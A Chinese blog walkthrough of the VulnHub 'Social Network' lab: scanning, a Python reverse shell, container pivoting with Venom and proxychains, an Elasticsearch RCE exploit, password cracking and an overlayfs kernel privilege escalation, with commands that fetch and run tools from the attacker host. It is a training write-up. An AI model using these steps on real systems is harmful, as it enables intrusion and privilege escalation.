VulnHub_BOREDHACKERBLOG_SOCIAL_NETWORK
靶机地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
这是本系列的第一次打靶,我选择了一个中等难度的靶机。在这次打靶过程中,我们将使用到以下攻击手段:
主机发现
进入root
用 arp-scan -l
端口扫描
nmap -Pn 192.168.56.106
发现开放了22 和5000 端口
服务发现
nmap -p-22 -sV 192.168.56.106
路径爬取
dirsearch -u http://192.168.56.106:5000 扫一下web 应用隐藏的页面
访问一下
代码注入
他说测试代码 先监听一下4444端口 nc -nvlp 4444
运行一下代码
1 | import socket,subprocess,os |
成功并发现是docker环境 并且是root权限
cat /proc/1/cgroup
是docker环境
输入 ip a 看一下环境
1 | app # ip a |
发现内网网段
内网信息收集
使用for i in $(seq 1 20); do ping -c 1 172.17.0.$i; done命令看内网存活主机,172.17.0.1-3为开放主机:
内网穿透
将Venom工具 文件夹下的admin.exe发送到目标主机
在Venom工具 文件夹下开启http服务 在他们俩个之间建立隧道
1 | python3 -m http.server 80 |
在目标dockers环境中 wget http://192.168.56.10/agent_linux_x64
./admin_linux_x64 -lport 9999 在攻击者主机下监听9999端口
在docker环境中运行
1 | chmod +x agent_linux_x64#改下权限 |
后渗透
sudo vi /etc/proxychains4.conf最后一行加上
1 | socks5 127.0.0.1 1080 |
扫描内网
proxychains nmap -Pn -sT 172.17.0.1
判断说明172.17.0.1是面向容器的主机
1 | proxychains nmap -Pn -sT 172.17.0.2 |
扫一下版本
发现是9200端口上是Elasticsearch服务,且版本是1.4.2
漏洞利用
Elasticsearch漏洞利用
Elasticsearch在历史版本上曾出现过几次验证漏洞,有RCE远程代码执行漏洞。
所以我们尝试在kali上搜索有没有Elasticsearch相关exp
发现两个RCE远程代码执行漏洞,我们先尝试第一个。
将脚本拷贝至当前目录
1 | cp /usr/share/exploitdb/exploits/linux/remote/36337.py . |
1 | cat passwords # 查看密码 |
md5解密
最终破解得到的明文密码如下:
john:1337hack
test:1234test
admin:1111pass
root:1234pass
jane:1234jane
密码利用
只有john可以登录
1 | ssh john@10.0.2.5 |
成功登陆,id查看当前用户权限为普通用户
漏洞发现
sudo -s
利用本地提权,结合之前得到的信息该靶机内核Linux 3.13,那么这样的老版本是否可能存在内核漏洞?
1 | searchsploit linux 3.13 |
选取一个exp
拷贝到本地
1 | cp /usr/share/exploitdb/exploits/linux/local/37292.c . |
查看文件
1 | vi 37292.c |
从代码中可以看到,要执行它的话,先要用gcc编译后才可执行
在靶机端查看是否存在gcc
1 | gcc |
没有gcc
所以是否可以在Kali本机上先对其进行编译
分析代码
定义了变量lib,变量调用system函数来执行系统命令,命令中再次调用了gcc,去查找到另外一个C语言库文件ofs-lib.c,把该库文件再编译成对应的ofs-lib.so文件(二进制共享库文件),且在整个代码过程中,会加载调用编译后的ofs-lib.so.so文件
得到:即使在Kali端使用gcc编译该文件,上传到目标靶机上执行时,执行过程仍然会调用gcc编译后的ofs-lib.so.so文件,仍然会报错。
解决办法:修改源代码,删除调用库文件的代码
删除后代码为下图
1 | gcc -o exp 37292.c |
报错不影响
配合exp执行使用还需要二进制的库文件ofs-lib.so,定位查找该文件路径
1 | locate ofs-lib.so |
拷贝至当前目录
1 | cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so . |
一并被下载到目标宿主机上,启动http服务
1 | python3 -m http.server 80 |
1 | wget http://192.168.56.10/exp |
更改权限后 chmod +x exp
运行./exp
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 jaytp@qq.com